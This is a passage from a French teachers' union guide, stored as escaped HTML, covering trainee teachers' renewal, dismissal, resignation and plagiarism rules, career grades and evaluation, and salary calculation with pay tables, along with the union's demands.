interacad\u00e9mique des titulaires (premi\u00e8re phase du mouvement national \u00e0 gestion d\u00e9concentr\u00e9e).<\/p>\n<p>En cas d\u2019\u00e9chec, le stagiaire subira \u00e0 nouveau les proc\u00e9dures d\u2019\u00e9valuation et de titularisation \u00e0 la fin de l\u2019ann\u00e9e scolaire.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous revendiquons la possibilit\u00e9, pour les stagiaires en re\u00adnouvellement qui le souhaitent, de changer d\u2019acad\u00e9mie de stage.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-20\"><\/a>Renouvellement de l\u2019ann\u00e9e de stage<\/h3>\n<p>Ils sont autoris\u00e9s \u00e0 accomplir une deuxi\u00e8me et derni\u00e8re ann\u00e9e de stage dans leur acad\u00e9mie d\u2019affectation en stage. Les stagiaires plac\u00e9s en renouvellement sont maintenus dans leur acad\u00e9mie sur un support stagiaire. Ils seront obligatoirement affect\u00e9s sur un mi-temps quelle que soit leur situation ant\u00e9rieure, devront suivre la formation et rendre les devoirs li\u00e9s. Ils seront inspect\u00e9s au cours de cette deuxi\u00e8me ann\u00e9e de stage.<\/p>\n<p>La p\u00e9riode de renouvellement de stage est neutralis\u00e9e dans la carri\u00e8re, c\u2019est-\u00e0-dire qu\u2019elle ne compte ni pour l\u2019avancement d\u2019\u00e9chelon ni pour \u00adl\u2019anciennet\u00e9 suppl\u00e9mentaire acquise.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-21\"><\/a>Licenciement<\/h3>\n<p>En cas de licenciement, vous pouvez pr\u00e9tendre \u00e0 des indemnit\u00e9s de ch\u00f4mage. Les formalit\u00e9s \u00e0 remplir concernent \u00e0 la fois le rectorat de l\u2019acad\u00e9mie d\u2019exercice et P\u00f4le emploi. L\u2019arr\u00eat\u00e9 de licenciement est sign\u00e9 par le minist\u00e8re. La date de signature peut \u00eatre tardive, en juillet ou en ao\u00fbt, souvent en septembre-octobre. Le salaire continue \u00e0 \u00eatre vers\u00e9 normalement jusqu\u2019\u00e0 la date de signature de l\u2019arr\u00eat\u00e9 de licenciement.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-22\"><\/a>Que se passe-t-il en cas de d\u00e9mission ?<\/h3>\n<p>La lettre de d\u00e9mission, le cas \u00e9ch\u00e9ant, doit \u00eatre adress\u00e9e au recteur au moins un mois avant la date d\u2019effet pr\u00e9vue. L\u2019arr\u00eat\u00e9 minist\u00e9riel confirmant votre d\u00e9cision, est irr\u00e9vocable. En cas de licenciement ou de d\u00e9mission, rien ne vous emp\u00eache de vous repr\u00e9senter aux concours de recrutement, ni de les r\u00e9ussir et d\u2019\u00eatre finalement valid\u00e9 !<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Ces derni\u00e8res ann\u00e9es, quelques stagiaires ont \u00e9t\u00e9 accus\u00e9s de \u00ab\u00a0plagiat\u00a0\u00bb pour leur m\u00e9moire. Cela peut \u00eatre le cas lorsqu\u2019une partie ou l\u2019int\u00e9gralit\u00e9 d\u2019un texte est transcrit sans mention de la source. Dans le cadre d\u2019une telle accusation, une commission est normalement constitu\u00e9e au sein de l\u2019INSP\u00c9 afin de d\u00e9battre de la nature du plagiat, de ses conditions et de la sanction \u00e0 donner.<br \/>\n<strong>Attention !<\/strong> Les sanctions dans ce cadre peuvent \u00eatre s\u00e9v\u00e8res et aller de la note 0 \u00e0 des sanctions plus lourdes telles que l\u2019interdiction de passer les examens, ce qui, pour les stagiaires qui n\u2019auraient pas encore de M2 par ailleurs signifierait une impossibilit\u00e9 de valider les conditions de titularisation et donc une non-titularisation \u00e0 titre d\u00e9finitif.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h2><a name=\"menu-23\"><\/a><strong>Chapitre 4<\/strong> \u2013 <strong>Quelle \u00e9volution de CARRI\u00c8RE\u00a0?<\/strong><\/h2>\n<p>En 2015, a \u00e9t\u00e9 act\u00e9e l\u2019ouverture de discussions sur la carri\u00e8re des personnels enseignants, d\u2019\u00e9ducation et d\u2019orientation.<\/p>\n<p>Les nouvelles modalit\u00e9s de carri\u00e8re et d\u2019\u00e9valuation actent plusieurs modifications positives m\u00eame si elles sont insuffisantes :<\/p>\n<p>\u2022 une revalorisation indiciaire qui b\u00e9n\u00e9ficiera \u00e0 tous, m\u00eame si cela ne permet pas de rattraper la totalit\u00e9 des pertes subies ;<\/p>\n<p>\u2022 un d\u00e9roulement de carri\u00e8re pour tous les personnels \u00e0 un rythme commun (avec deux moments de r\u00e9duction de dur\u00e9e d\u2019un an chacun en classe normale) ;<\/p>\n<p>\u2022 la cr\u00e9ation d\u2019un d\u00e9bouch\u00e9 de carri\u00e8re (Classe exceptionnelle) au-del\u00e0 de la hors-classe actuelle.<\/p>\n<p>Les grades (Hors-classe et Classe exceptionnelle) seront parcourus selon un rythme commun avec passage automatique d\u2019un \u00e9chelon au suivant.<\/p>\n<p>La FSU a pes\u00e9 dans les discussions pour obtenir une revalorisation de la valeur du point d\u2019indice. Celle-ci a donc augment\u00e9 de 0,6\u00a0% au 1er juillet 2016 et au 1er f\u00e9vrier 2017. Ces augmentations ont marqu\u00e9 une rupture avec les ann\u00e9es de gel du point d\u2019indice qui, depuis, est de nouveau en vigueur.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Ces mesures salariales ne r\u00e9pondent qu\u2019en partie \u00e0 l\u2019urgence d\u2019une revalorisation g\u00e9n\u00e9rale.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-red-color has-text-color\"><a name=\"menu-24\"><\/a>PPCR, une revalorisation enray\u00e9e<\/h3>\n<p>Les principales dispositions du cycle de discussion Parcours Professionnels, Carri\u00e8res et R\u00e9mun\u00e9rations (PPCR), engag\u00e9 sous le pr\u00e9c\u00e9dent quinquennat, ont \u00e9t\u00e9 mises en application \u00e0 travers une s\u00e9rie de d\u00e9crets. Pour la FSU, ce protocole constituait un premier pas dans l\u2019am\u00e9lioration des carri\u00e8res et la reconnaissance des qualifications et de l\u2019investissement des personnels. Le report d\u2019un an de sa mise en \u0153uvre d\u00e9cid\u00e9 par le gouvernement actuel est un d\u00e9ni de la parole de l\u2019\u00c9tat. Ce report, combin\u00e9 au gel de la valeur du point d\u2019indice, contribue \u00e0 d\u00e9grader de nouveau le pouvoir d\u2019achat des personnels.<\/p>\n<h3 class=\"has-vivid-red-color has-text-color\"><a name=\"menu-25\"><\/a>Classe normale : un rythme commun<\/h3>\n<p>La nouvelle carri\u00e8re en classe normale se d\u00e9roule sur un rythme commun d\u2019une dur\u00e9e maximale de 26 ans. 30\u00a0% des personnels pourront b\u00e9n\u00e9ficier d\u2019une r\u00e9duction de dur\u00e9e d\u2019\u00e9chelon d\u2019un an lors du passage du 6e au 7e \u00e9chelon. Il en sera de m\u00eame lors du passage du 8e au 9e \u00e9chelon.<\/p>\n<p>Cette carri\u00e8re se rapproche de l\u2019avancement \u00e0 rythme unique pour tous, que nous revendiquons et qui est la norme pour les corps de cat\u00e9gorie A de la Fonction publique. Il perdure encore une in\u00e9galit\u00e9 mais r\u00e9duite \u00e0 deux ans, incomparable avec les dix ans existants anciennement.<\/p>\n<h3 class=\"has-vivid-red-color has-text-color\"><a name=\"menu-26\"><\/a>Hors-classe pour tous<\/h3>\n<p>Dans le cadre des discussions, le minist\u00e8re a act\u00e9 que \u00ab\u00a0tous les personnels parcourront une carri\u00e8re normale sur au moins deux grades\u00a0\u00bb. La hors classe est donc garantie pour tous. Elle est accessible aux personnels ayant au moins atteint le 9e \u00e9chelon depuis deux ans.<\/p>\n<p>Le bar\u00e8me de passage \u00e0 la hors-classe est d\u00e9fini nationalement et permet, \u00e0 terme, de promouvoir tous les coll\u00e8gues ayant atteint le 11e \u00e9chelon.<\/p>\n<h3 class=\"has-vivid-red-color has-text-color\"><a name=\"menu-27\"><\/a>Classe exceptionnelle<\/h3>\n<p>La classe exceptionnelle constitue un nouveau d\u00e9bouch\u00e9 de carri\u00e8re apr\u00e8s la hors-classe. Elle permet d\u2019acc\u00e9der \u00e0 la hors-\u00e9chelle A pour les professeurs certifi\u00e9s, PLP, PEPS, CPE et Psy-\u00c9N (INM 885 \u00e0 967) et \u00e0 la hors-\u00e9chelle B pour les professeurs agr\u00e9g\u00e9s (INM 967 \u00e0 1 062).<\/p>\n<p>Son volume est limit\u00e9. Il sera port\u00e9 en sept ans \u00e0 10\u00a0% de \u00adl\u2019effectif total de chaque corps.<\/p>\n<p>Cette classe exceptionnelle est accessible selon deux modalit\u00e9s :<\/p>\n<p>\u2022 pour 80\u00a0% du contingent, aux personnels ayant atteint le 3e \u00e9chelon de la hors-classe (2e \u00e9chelon pour les agr\u00e9g\u00e9s) et ayant \u00e9t\u00e9 affect\u00e9s au moins huit ans en \u00e9ducation prioritaire, ou dans l\u2019enseignement sup\u00e9rieur ou ayant exerc\u00e9 certaines fonctions sp\u00e9cifiques ;<\/p>\n<p>\u2022 pour 20\u00a0% maximum du contingent \u00e0 tous les autres personnels ayant atteint le dernier \u00e9chelon (dernier chevron pour les agr\u00e9g\u00e9s) de la hors-classe.<\/p>\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-142835 lazyloaded\" src=\"https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-classe-normale-hors-classe-classe-exceptionnelle-4-1024x724.jpg\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" srcset=\"https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-classe-normale-hors-classe-classe-exceptionnelle-4-1024x724.jpg 1024w, https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-classe-normale-hors-classe-classe-exceptionnelle-4-300x212.jpg 300w, https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-classe-normale-hors-classe-classe-exceptionnelle-4-768x543.jpg 768w, https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-classe-normale-hors-classe-classe-exceptionnelle-4.jpg 1169w\" alt=\"\" width=\"1024\" height=\"724\" data-ll-status=\"loaded\" \/><\/figure>\n<p>* R\u00e9duction d\u2019un an de la dur\u00e9e pour 30 % des coll\u00e8gues.<\/p>\n<p class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background\">Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU revendiquent une carri\u00e8re pouvant \u00eatre parcourue par toutes et tous sans obstacle de grade. Les modalit\u00e9s d\u2019acc\u00e8s propos\u00e9es doivent donc \u00eatre revues au profit d\u2019un acc\u00e8s ouvert \u00e0 tous. C\u2019est notamment une condition imp\u00e9rative d\u2019une r\u00e9elle am\u00e9lioration des fins de carri\u00e8re pour les professeurs agr\u00e9g\u00e9s. Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU ont obtenu le principe d\u2019un bar\u00e8me national, m\u00eame si cela ne nous satisfait pas compl\u00e8tement, permettant la rotation des promotions, afin que le plus de coll\u00e8gues possible puissent b\u00e9n\u00e9ficier de la classe exceptionnelle en vue du d\u00e9part en retraite.<\/p>\n<h3 class=\"has-vivid-red-color has-text-color\"><a name=\"menu-28\"><\/a>Les nouvelles grilles indiciaires<\/h3>\n<p>Le processus de revalorisation salariale combine une attribution de points d\u2019indice suppl\u00e9mentaires aux diff\u00e9rents \u00e9chelons (cf.\u00a0tableaux ci-contre et ci-dessous), une conversion d\u2019une partie des indemnit\u00e9s en points d\u2019indice, des raccourcissements d\u2019\u00e9chelons, et la revalorisation de la valeur du point aux 1er juillet 2016 et 1er f\u00e9vrier 2017.<\/p>\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-142836 lazyloaded\" src=\"https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-professeurs-agreges-1024x724.jpg\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" srcset=\"https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-professeurs-agreges-1024x724.jpg 1024w, https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-professeurs-agreges-300x212.jpg 300w, https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-professeurs-agreges-768x543.jpg 768w, https:\/\/www.snes.edu\/wp-content\/uploads\/tableau-professeurs-agreges.jpg 1169w\" alt=\"\" width=\"1024\" height=\"724\" data-ll-status=\"loaded\" \/><\/figure>\n<ul>\n<li>R\u00e9duction d\u2019un an de la dur\u00e9e pour 30 % des coll\u00e8gues.<\/li>\n<\/ul>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-29\"><\/a>L\u2019\u00e9valuation, Les rendez-vous de carri\u00e8re, L\u2019accompagnement<\/h3>\n<p>La carri\u00e8re ayant chang\u00e9, le syst\u00e8me d\u2019\u00e9valuation est modifi\u00e9 et la notation des personnels d\u2019enseignement, d\u2019\u00e9ducation et de psychologie dispara\u00eet. Il y a d\u00e9sormais trois rendez-vous de carri\u00e8re qui seront l\u2019occasion d\u2019une \u00e9valuation de la valeur professionnelle :<\/p>\n<p>\u2022 Les deux premiers rendez-vous permettent de faire b\u00e9n\u00e9ficier, \u00e0 30\u00a0% des promouvables, d\u2019une acc\u00e9l\u00e9ration d\u2019un an lors du passage du 6e au 7e \u00e9chelon puis du passage du 8e au 9e \u00e9chelon ;<\/p>\n<p>\u2022 Le troisi\u00e8me rendez-vous dans la deuxi\u00e8me ann\u00e9e du 9e \u00e9chelon permet de d\u00e9terminer le rythme de passage \u00e0 la hors-classe.<\/p>\n<p>Les principes et modalit\u00e9s des trois rendez-vous de carri\u00e8re sont \u00adidentiques et se d\u00e9roulent en trois temps : inspection en situation d\u2019exercice (sauf pour les Psy-\u00c9N) suivie d\u2019un entretien avec l\u2019inspecteur et d\u2019un autre avec le chef d\u2019\u00e9tablissement (le DCIO pour les Psy-\u00c9N). \u00c0 l\u2019issue de chaque rendez-vous de carri\u00e8re, une grille d\u2019\u00e9valuation est compl\u00e9t\u00e9e par l\u2019IPR et le chef \u00add\u2019\u00e9tablissement. L\u2019avis du recteur est \u00e9tabli sur la base de cette grille d\u2019\u00e9valuation.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Une \u00e9valuation l\u00e9gitime mais dont les finalit\u00e9s doivent encore \u00e9voluer<\/p>\n<p>L\u2019\u00e9valuation des fonctionnaires est l\u00e9gitime : la nation confie l\u2019\u00e9ducation publique \u00e0 des personnels fonctionnaires qui remplissent une mission de service public. Parce que nous ne sommes pas une profession lib\u00e9rale, l\u2019\u00e9valuation du syst\u00e8me \u00e9ducatif passe aussi par une \u00e9valuation de celles et ceux qui en assurent le bon fonctionnement.<\/p>\n<p>L\u2019\u00e9valuation des personnels d\u2019enseignement, d\u2019\u00e9ducation et de psychologie doit permettre \u00e0 chacun de faire progresser les pratiques pour une am\u00e9lioration du service public d\u2019\u00e9ducation. Imposer de pr\u00e9tendues bonnes pratiques n\u2019a pas de sens pour des personnels qualifi\u00e9s, concepteurs de leur m\u00e9tier, en permanence en recherche de m\u00e9thodes adapt\u00e9es aux publics qu\u2019ils accueillent. L\u2019essentiel de l\u2019\u00e9valuation doit donc porter sur l\u2019acte, au contact des \u00e9l\u00e8ves, le c\u0153ur de notre m\u00e9tier.<\/p>\n<p>L\u2019\u00e9valuation doit permettre un accompagnement, sur la base du volontariat, de tous les personnels individuellement comme collectivement. Sans obligation, elle doit aider les \u00e9quipes qui le souhaitent \u00e0 mettre en place des projets ou am\u00e9liorer leurs pratiques collectives. L\u2019\u00e9valuation doit \u00eatre d\u00e9lib\u00e9r\u00e9ment tourn\u00e9e vers le conseil, afin de permettre un d\u00e9bat serein et sinc\u00e8re entre le professionnel et l\u2019\u00e9valuateur sur les diff\u00e9rentes mani\u00e8res de faire, sur ce qui fonctionne ou ce qui ne fonctionne pas, sans enjeu de carri\u00e8re qui viendrait, comme actuellement, fausser la discussion.<\/p>\n<p>La nouvelle carri\u00e8re va diminuer le poids des hi\u00e9rarchies sur le d\u00e9roulement de celles-ci. Envisager une autre \u00e9valuation \u00e9tait n\u00e9cessaire, afin que, nationalement, celle-ci s\u2019effectue de mani\u00e8re plus juste.<\/p>\n<p>Seule une d\u00e9connexion compl\u00e8te de l\u2019\u00e9valuation et de l\u2019avancement permettra aux \u00e9valuateurs et aux enseignants de consid\u00e9rer l\u2019\u00e9valuation comme une possibilit\u00e9 r\u00e9elle de formation et d\u2019\u00e9changes aidant \u00e0 prendre du recul et \u00e0 progresser.<\/p>\n<h2><a name=\"menu-30\"><\/a><strong>Chapitre 5 \u2013 R\u00e9mun\u00e9ration, prestations familiales et d\u2019action sociale<\/strong><\/h2>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-31\"><\/a><em>R\u00e9mun\u00e9ration<\/em><\/h3>\n<p>Le salaire net est la somme du traitement brut et de diverses indemnit\u00e9s (indemnit\u00e9 de r\u00e9sidence, suppl\u00e9ment familial de traitement, ISOE\u2026) d\u00e9duction faite des cotisations salariales : CSG (Contribution sociale g\u00e9n\u00e9ralis\u00e9e), CRDS (Contribution pour le remboursement de la dette sociale), PC (Pension civile).<\/p>\n<p class=\"has-light-green-cyan-background-color has-background\">N.B. <a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/JORFTEXT000000465739\/2020-11-06\/\">Loi du 2 f\u00e9vrier 2007<\/a>. D\u00e9cret d\u2019application du 3 mai 2007 : \u00ab les fonctionnaires et agents non titulaires de droit public consacrent l\u2019int\u00e9gralit\u00e9 de leur activit\u00e9 professionnelle aux t\u00e2ches qui leur sont confi\u00e9es. Ils ne peuvent exercer \u00e0 titre professionnel une activit\u00e9 priv\u00e9e lucrative de quelque nature que ce soit \u00bb.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le premier salaire<\/h4>\n<p>La prise en charge financi\u00e8re des laur\u00e9ats de concours enseignants, CPE et Psy-\u00c9N se fait administrativement et financi\u00e8rement au 1er septembre gr\u00e2ce \u00e0 des accords avec la Direction g\u00e9n\u00e9rale des Finances publiques (DGFiP). Elle est mise en place lors de la r\u00e9union des stagiaires pendant la semaine pr\u00e9c\u00e9dant la rentr\u00e9e scolaire \u00e0 l\u2019\u00c9SP\u00c9 sur pr\u00e9sentation de l\u2019avis d\u2019affectation o\u00f9 est pr\u00e9cis\u00e9 l\u2019indice de r\u00e9mun\u00e9ration du 1er \u00e9chelon du corps de recrutement, d\u2019un RIB et de la photocopie de la carte Vitale.<\/p>\n<p>Il s\u2019agit bien d\u2019une prise en charge compl\u00e8te sur la paye de fin septembre 2019\u00a0: la proc\u00e9dure d\u2019acompte est d\u00e9sormais abandonn\u00e9e.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Maintien du salaire ant\u00e9rieur pour les stagiaires auparavant titulaires ou non-titulaires de l\u2019\u00c9tat<\/p>\n<p>Les stagiaires auparavant titulaires ou non-titulaires de l\u2019\u00c9tat peuvent b\u00e9n\u00e9ficier de la reprise de tout ou partie de leur anciennet\u00e9 de service et d\u00e9buter leur carri\u00e8re au-del\u00e0 du 1er \u00e9chelon (voir classement p. 53-55).<\/p>\n<p>Dans l\u2019attente de leur classement, pas de perte de salaire pour les \u00adstagiaires qui \u00e9taient auparavant agents titulaires ou non titulaires de l\u2019\u00c9tat. Ils doivent donc demander au rectorat \u00e0 conserver le traitement indiciaire correspon\u00addant \u00e0 leur situation avant l\u2019entr\u00e9e en stage.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Calcul du traitement<\/p>\n<p>Le traitement mensuel brut de tout fonctionnaire est le produit de son indice de r\u00e9mun\u00e9ration par la valeur mensuelle brute du point d\u2019indice 4,686025 e (valeur inchang\u00e9e depuis le 1\/02\/2017). L\u2019indice d\u00e9pend de son grade et de son \u00e9chelon (voir chapitre 4).<\/p>\n<p>Exemple : traitement brut mensuel d\u2019un professeur certifi\u00e9 d\u00e9butant, 1er \u00e9chelon, indice 390 : 390 \u00d7 4,686025 = 1 827,54 \u20ac.<\/p>\n<p>La r\u00e9mun\u00e9ration d\u2019un professeur, CPE ou Psy-\u00c9N, recrut\u00e9 aujourd\u2019hui repr\u00e9sente deux tiers de celle per\u00e7ue au m\u00eame moment de la carri\u00e8re par des personnels appartenant \u00e0 la g\u00e9n\u00e9ration de ses parents. Cette politique est n\u00e9faste pour la qualit\u00e9 du service public qui ne parvient pas \u00e0 recruter les personnels qualifi\u00e9s dont il a besoin. Apr\u00e8s six ans de gel, la revalorisation de la valeur du point d\u2019indice (+ 0,6\u00a0% au 1er juillet 2016 et + 0,6\u00a0% au 1er f\u00e9vrier 2017) obtenue par nos actions est loin d\u2019\u00eatre \u00e0 la hauteur du rattrapage des pertes subies depuis 2000 d\u2019autant que la retenue pour pension civile continue d\u2019augmenter et que le gouvernement a poursuivi le gel du point d\u2019indice depuis son entr\u00e9e en fonction. Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU continuent de revendiquer un plan de rattrapage pour compenser ces pertes et mettre ainsi un terme au d\u00e9classement de notre profession.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Valeur du point d\u2019indice<\/p>\n<p>La valeur annuelle brute du point d\u2019indice est arr\u00eat\u00e9e par le gouver\u00adnement. Depuis le 1er f\u00e9vrier 2017, la valeur annuelle brute est de 56,2323 euros.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">R\u00e9mun\u00e9ration en d\u00e9but de carri\u00e8re<\/p>\n<p><strong>Certifi\u00e9s, PLP, PEPS, CPE et Psy-EN<\/strong><\/p>\n<figure class=\"wp-block-table\">\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td><\/td>\n<td>Traitement<\/td>\n<td>Traitement<\/td>\n<td>Salaires nets (*)<\/td>\n<td>Salaires nets (*)<\/td>\n<td>Salaires nets (*)<\/td>\n<\/tr>\n<tr>\n<td>Echelon<\/td>\n<td>P\u00e9riode<\/td>\n<td>Indice<\/td>\n<td>Brut mensuel<\/td>\n<td>Zone 1 (1)<\/td>\n<td>Zone 2 (1)<\/td>\n<td>Zone 3 (1)<\/td>\n<\/tr>\n<tr>\n<td>1<\/td>\n<td>du 1\/09\/2020 au 31\/08\/2021<\/td>\n<td>390<\/td>\n<td>1827.55 \u20ac<\/td>\n<td>1485.06 \u20ac<\/td>\n<td>1451.99 \u20ac<\/td>\n<td>1435.46 \u20ac<\/td>\n<\/tr>\n<tr>\n<td>2<\/td>\n<td>du 1\/9\/2021 au 31\/08\/2022<\/td>\n<td>441<\/td>\n<td>2066.54 \u20ac<\/td>\n<td>1683.08 \u20ac<\/td>\n<td>1645.69 \u20ac<\/td>\n<td>1627.00 \u20ac<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<figure class=\"wp-block-table\">\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td><\/td>\n<td>Traitement<\/td>\n<td>Traitement<\/td>\n<td>Salaires nets (*)<\/td>\n<td>Salaires nets (*)<\/td>\n<td>Salaires nets (*)<\/td>\n<\/tr>\n<tr>\n<td>Echelon<\/td>\n<td>P\u00e9riode<\/td>\n<td>Indice<\/td>\n<td>Brut mensuel<\/td>\n<td>Zone 1 (1)<\/td>\n<td>Zone 2 (1)<\/td>\n<td>Zone 3 (1)<\/td>\n<\/tr>\n<tr>\n<td>1<\/td>\n<td>du 1\/09\/2020 au 31\/08\/2021<\/td>\n<td>450<\/td>\n<td>2108.71 \u20ac<\/td>\n<td>1718.02 \u20ac<\/td>\n<td>1679.87 \u20ac<\/td>\n<td>1660.79 \u20ac<\/td>\n<\/tr>\n<tr>\n<td>2<\/td>\n<td>du 1\/09\/2021 au 31\/08\/2022<\/td>\n<td>498<\/td>\n<td>2333.64 \u20ac<\/td>\n<td>1904.39 \u20ac<\/td>\n<td>1862.17 \u20ac<\/td>\n<td>1841.05 \u20ac<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>(*) hors toute indemnit\u00e9, suppl\u00e9ment familial ou pr\u00e9compte mutualiste<\/p>\n<ol>\n<li>Les trois zones permettent de d\u00e9terminer le montant de l\u2019indemnit\u00e9 de r\u00e9sidence (IR). Cette indemnit\u00e9, initialement \u00addestin\u00e9e \u00e0 compenser les co\u00fbts plus importants dans certaines zones (grandes villes, communaut\u00e9s urbaines), est attribu\u00e9e suivant la r\u00e9partition des lieux d\u2019exercice. Zone 1 (taux : 3 % du traitement brut), zone 2 (taux : 1 %) et zone 3 sans \u00adindemnit\u00e9. Se renseigner aupr\u00e8s du S3 pour conna\u00eetre les zones.<\/li>\n<\/ol>\n<h4 class=\"has-vivid-red-color has-text-color\">Traitements indiciaires bruts en euros constants<\/h4>\n<p>Les m\u00e9tiers de professeurs, CPE et Psy-\u00c9N ont \u00e9t\u00e9 d\u00e9valoris\u00e9s tant du point de vue des conditions de travail que du point de vue de nos r\u00e9mun\u00e9rations. Pour preuve, s\u2019il en \u00e9tait besoin, le manque d\u2019attractivit\u00e9 des concours de recrutement.<\/p>\n<p>La perte continue de pouvoir d\u2019achat depuis trente ans, qui s\u2019est amplifi\u00e9e avec les six ann\u00e9es de gel du point d\u2019indice entre 2010 et 2016, produit des ravages. M\u00eame les revalorisations successives de nos grilles indiciaires ne suffisent pas \u00e0 combler cette d\u00e9valorisation. Ainsi, la perte de salaire entre 2000 et 2020 pour un certifi\u00e9 au 8e \u00e9chelon repr\u00e9sente l\u2019\u00e9quivalent de deux mois de salaire par an !<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>La nouvelle carri\u00e8re et la nouvelle grille indiciaire constituent une revalorisation et une am\u00e9lioration globale de la carri\u00e8re de tous les personnels. C\u2019est un premier pas que le SNES-FSU, le SNUEP-FSU et le SNEP-FSU actent positivement. Cela doit constituer une premi\u00e8re \u00e9tape vers une revalorisation plus g\u00e9n\u00e9rale dans \u00adl\u2019objectif de faire du corps des agr\u00e9g\u00e9s le corps de r\u00e9f\u00e9rence du second degr\u00e9. En effet, Les mesures gouvernementales intervenues depuis 2012 n\u2019ont pas r\u00e9pondu \u00e0 l\u2019urgence de rattraper le d\u00e9crochage des r\u00e9mun\u00e9rations des personnels d\u2019enseignement, d\u2019\u00e9ducation et d\u2019orientation par rapport aux pays de l\u2019OCDE : timide d\u00e9gel de la valeur du point d\u2019indice (deux fois 0,6\u00a0%), revalorisation des grilles indiciaires trop \u00e9tal\u00e9e dans le temps, absence de retranscription statutaire du principe inscrit dans le protocole PPCR selon lequel chaque fonctionnaire doit pouvoir d\u00e9rouler une carri\u00e8re compl\u00e8te sur au moins deux grades, volumes de promotion et modalit\u00e9s d\u2019acc\u00e8s \u00e0 la classe exceptionnelle inadapt\u00e9s \u00e0 la structure des corps, transfert \u00ab\u00a0primes-points\u00a0\u00bb limit\u00e9 \u00e0 9 points d\u2019indice. Afin de b\u00e9n\u00e9ficier \u00e0 tous et donc de limiter l\u2019individualisation de la r\u00e9mun\u00e9ration, la revalorisation de la r\u00e9mun\u00e9ration doit \u00eatre principalement indiciaire. Elle doit s\u2019accompagner de l\u2019indexation du point d\u2019indice de la Fonction publique sur les prix.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Heures suppl\u00e9mentaires<\/h4>\n<p>Les heures suppl\u00e9mentaires des professeurs sont r\u00e9mun\u00e9r\u00e9es sous forme d\u2019indemnit\u00e9s, elles sont sous-pay\u00e9es au regard du salaire et de l\u2019emploi.<\/p>\n<p>Pour les stagiaires, aucun texte n\u2019interdit formellement d\u2019avoir des heures suppl\u00e9mentaires mais la circulaire n\u00b0 2014-080 pr\u00e9cise que \u00ab l\u2019objectif de l\u2019ann\u00e9e de stage \u00e9tant de permettre aux stagiaires de se former, ils n\u2019ont pas vocation \u00e0 se voir confier des heures suppl\u00e9mentaires\u00a0\u00bb.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous demandons que les heures suppl\u00e9mentaires, attribu\u00e9es chaque ann\u00e9e en nombre grandissant dans toutes les acad\u00e9mies, soient \u00adtransform\u00e9es en postes notamment pour am\u00e9liorer les affectations des titulaires et des stagiaires.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Qu\u2019est-ce que le classement ?<\/h4>\n<p>Il s\u2019agit de la prise en compte d\u2019un certain nombre de services ant\u00e9rieurs \u00e0 l\u2019ann\u00e9e de stage permettant d\u2019acc\u00e9der \u00e0 un \u00e9chelon de la carri\u00e8re plus \u00e9lev\u00e9 d\u00e8s le d\u00e9but de l\u2019ann\u00e9e de stage.<\/p>\n<h5 class=\"has-vivid-red-color has-text-color\">Quelles d\u00e9marches ?<\/h5>\n<p>Le classement prendra effet pour tous \u00e0 la date de nomination comme stagiaire, soit le 1\/09\/2020. Demandez le dossier au rectorat ou au secr\u00e9tariat de votre \u00e9tablissement en septembre. Les dossiers des certifi\u00e9s PEPS, PLP, CPE et Psy-\u00c9N sont trait\u00e9s par le rectorat, ceux des agr\u00e9g\u00e9s par le minist\u00e8re. L\u2019effet financier devrait intervenir durant le premier trimestre avec un rattrapage puisqu\u2019en attendant le calcul de votre classement, votre salaire ant\u00e9rieur continuera \u00e0 vous \u00eatre vers\u00e9, s\u2019il est sup\u00e9rieur \u00e0 l\u2019indice de d\u00e9part dans votre nouveau 